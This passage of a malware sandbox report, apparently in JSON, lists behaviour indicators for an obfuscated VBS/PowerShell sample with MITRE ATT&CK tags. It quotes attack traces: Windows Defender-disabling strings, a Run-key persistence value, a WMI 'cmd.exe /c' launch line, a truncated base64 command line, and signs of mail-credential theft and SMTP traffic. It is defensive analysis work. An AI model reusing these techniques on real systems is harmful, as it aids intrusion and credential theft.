\"00000000-00005280-00000C2B-3033894217\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005280-00000C2B-3033894736\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005280-00000C2B-3033894769\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$55","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"Del\" (Indicator: \"del\") in Source: 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp\n 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp\n Observed string: \"del\" (Indicator: \"del\") in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp\n 00000000-00005280.00000002.262058.BF390000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilegeZ\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00005280.00000000.258219.A6F50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00005280-00000C2B-3063458479","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"DCBFA8A2293BDC0100000000000000000000000002000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"FAB36EA3293BDC0100000000000000000000000002000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\ASP.NET_4.0.30319\\NAMES\"; Key: \"1L2AWVDX40YOC0JBCU6ILOVMSFBN1EKDD2OZUPU3KJELOBPUCC7PS2EJRXUKDFR89E65GR6LSB6Y8LWC37RIRWSOW63NZMOGMQI1A3JWBROFZELMTUH3IW\"; Value: \"A0140000\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WScript.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$56","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Out-Null\"; File: \"AMSI\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to shellcode","description":"Found reference to API \"ouldnt set the shellcode memory as PAGE_EXECUTE_READWRITE!\" (Indicator: \"shellcode\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-468","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00005280]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Ability to hide a payload in the commandline","description":"Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00005280)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-43","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Able to hide command execution using obfuscation techniques","description":"$57","origin":"Monitored Target","mitre_attack_id":"T1027.010","relevance":5,"id":"target-498","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Contains ability to disable driver signature enforcement","description":"Found string \"ci.dll\" (Indicator: \"ci.dll\"; Source: \"00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1553.006","relevance":1,"id":"string-586","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"powershell.exe\" at 00000000-00005280-00000C15-3040618153","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Tries to save executable or command in registry","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"POWERSHELL\"; Value: \"%APPDATA%\\powershell.exe\")","origin":"Registry Access","mitre_attack_id":"T1547","relevance":7,"id":"registry-113","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5280)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"$58","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"General","name":"GETs files from a webserver","description":"\"GET / HTTP/1.1\nHost: icanhazip.com\nConnection: Keep-Alive\" Response ==> HTTP/1.1 200 OK\nDate: Sat\n 11 Oct 2025 20:38:54 GMT\nContent-Type: text/plain\nContent-Length: 14\nConnection: keep-alive\nCF-RAY: 98d129ecb9522320-SJC\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET\nSet-Cookie: __cf_bm=xj2l.QdYyhCN_Gk09QzCHDN3_tKKNBT7SPCRVt6s7Rk-1760215134-1.0.1.1-TJ2CGplzJqy.oGUtVewvwFdvliaP4r7AfnRGDfyrhB4krSZBGlrtZnvtRpZJx1zuq0pfI6wNq_LXAjrmsSvVy5yBBniW3qUwpGNQR6Bsa5k; path=/; expires=Sat\n 11-Oct-25 21:08:54 GMT; domain=.icanhazip.com; HttpOnly\nServer: cloudflare\nalt-svc: h3=\":443\"; ma=86400 with response body ==>33363A33343A32653A33313A33323A33343A32653A33313A33323A32653A33313A33363A33323A3061.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"POWERSHELL\"; Value: \"%APPDATA%\\powershell.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.16.184.241 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"PaddockZone.CloseGetObject(\"winmgmts:\").Get(\"Win32_Process\").Create \"cmd.exe /c \" & TomatoStructure, Null, Null, Null\" (Indicator: \"winmgmts:\"; in File: \"Form_1759970159.vbs\")\n Found string \"GetObject(\"winmgmts:\").Get(\"Win32_Process\").Create \"cmd.exe /c \" & TomatoStructure, Null, Null, Null\" (Indicator: \"winmgmts:\"; in File: \"Form_1759970159.vbs\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$59","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Commandline contains long base64 encoded string","description":"Commandline contains long base64 encoded string \"CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBjkemhazxgp2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFjkemhazxgpwAYQBvAGMA.......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contacts Mail Related Domain Names","description":"\"mail.clarsachsociety.co.uk\" is probably a mail server","origin":"Network Traffic","mitre_attack_id":"T1071.003","relevance":10,"id":"network-18","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_x4vqxuu2.sy5.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_x4vqxuu2.sy5.ps1]- [targetUID: 00000000-00005280]\n Dropped file: \"__PSScriptPolicyTest_k1fbvpen.52z.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_k1fbvpen.52z.ps1]- [targetUID: 00000000-00005280]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$5a","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"icanhazip.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"Network Related","name":"Reference to an external IP address lookup service identified","description":"\"icanhazip.com\" (Indicator: \"icanhazip.com\"; File: \"PCAP\")\n \"GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive\" (Indicator: \"icanhazip.com\"; File: \"PCAP\")\n \"://icanhazip.com/\" (Indicator: \"icanhazip.com\"; File: \"00000000-00005280.00000001.260141.A4C60000.00000004.mdmp\")\n \"icanhazip.com\" (Indicator: \"icanhazip.com\"; File: \"00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"malicious","category":"Network Related","name":"Sends network traffic on a typical mail related ports","description":"Mail traffic to 146.70.23.218 on port 587 (SMTP)","origin":"Network Traffic","mitre_attack_id":"T1071.003","relevance":6,"id":"network-10","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"System Security","name":"Executes WMI queries in order to detect local security applications","description":"\"powershell.exe\" issued a query \"Select * from AntivirusProduct\"","origin":"API Call","mitre_attack_id":"T1518.001","relevance":7,"id":"api-80","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behavior","description":"The script produces internet activity\n is obfuscated and drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$5b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00008152.00000000.277424.241F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$5c","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"7708\" - (UID: 00000000-00007708)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"8152\" - (UID: 00000000-00008152)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00008152.00000000.277424.23C10000.00000004.mdmp\n 00000000-00008152.00000001.279343.23C10000.00000004.mdmp\n 00000000-00008152.00000002.281264.23C10000.00000004.mdmp\n Observed string: \"ver (NPCAP)-0000\" (Indicator: \"ver \") in Source: 00000000-00008152.00000001.279343.24640000.00000004.mdmp\n 00000000-00008152.00000002.281264.24640000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"powershell.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00008152.00000001.279343.241F0000.00000004.mdmp, 00000000-00008152.00000002.281264.241F0000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"powershell.exe\" has type \"PE32+ executable for MS Windows 10.00 (console) x86-64 6 sections\"- Location: [%APPDATA%\\powershell.exe]- [targetUID: 00000000-00008152]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$5d","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$5e","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigW\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"::Decompress\"; File: \"AMSI\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00001064.00000001.125349.CB740000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00001064.00000000.123429.F86E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic 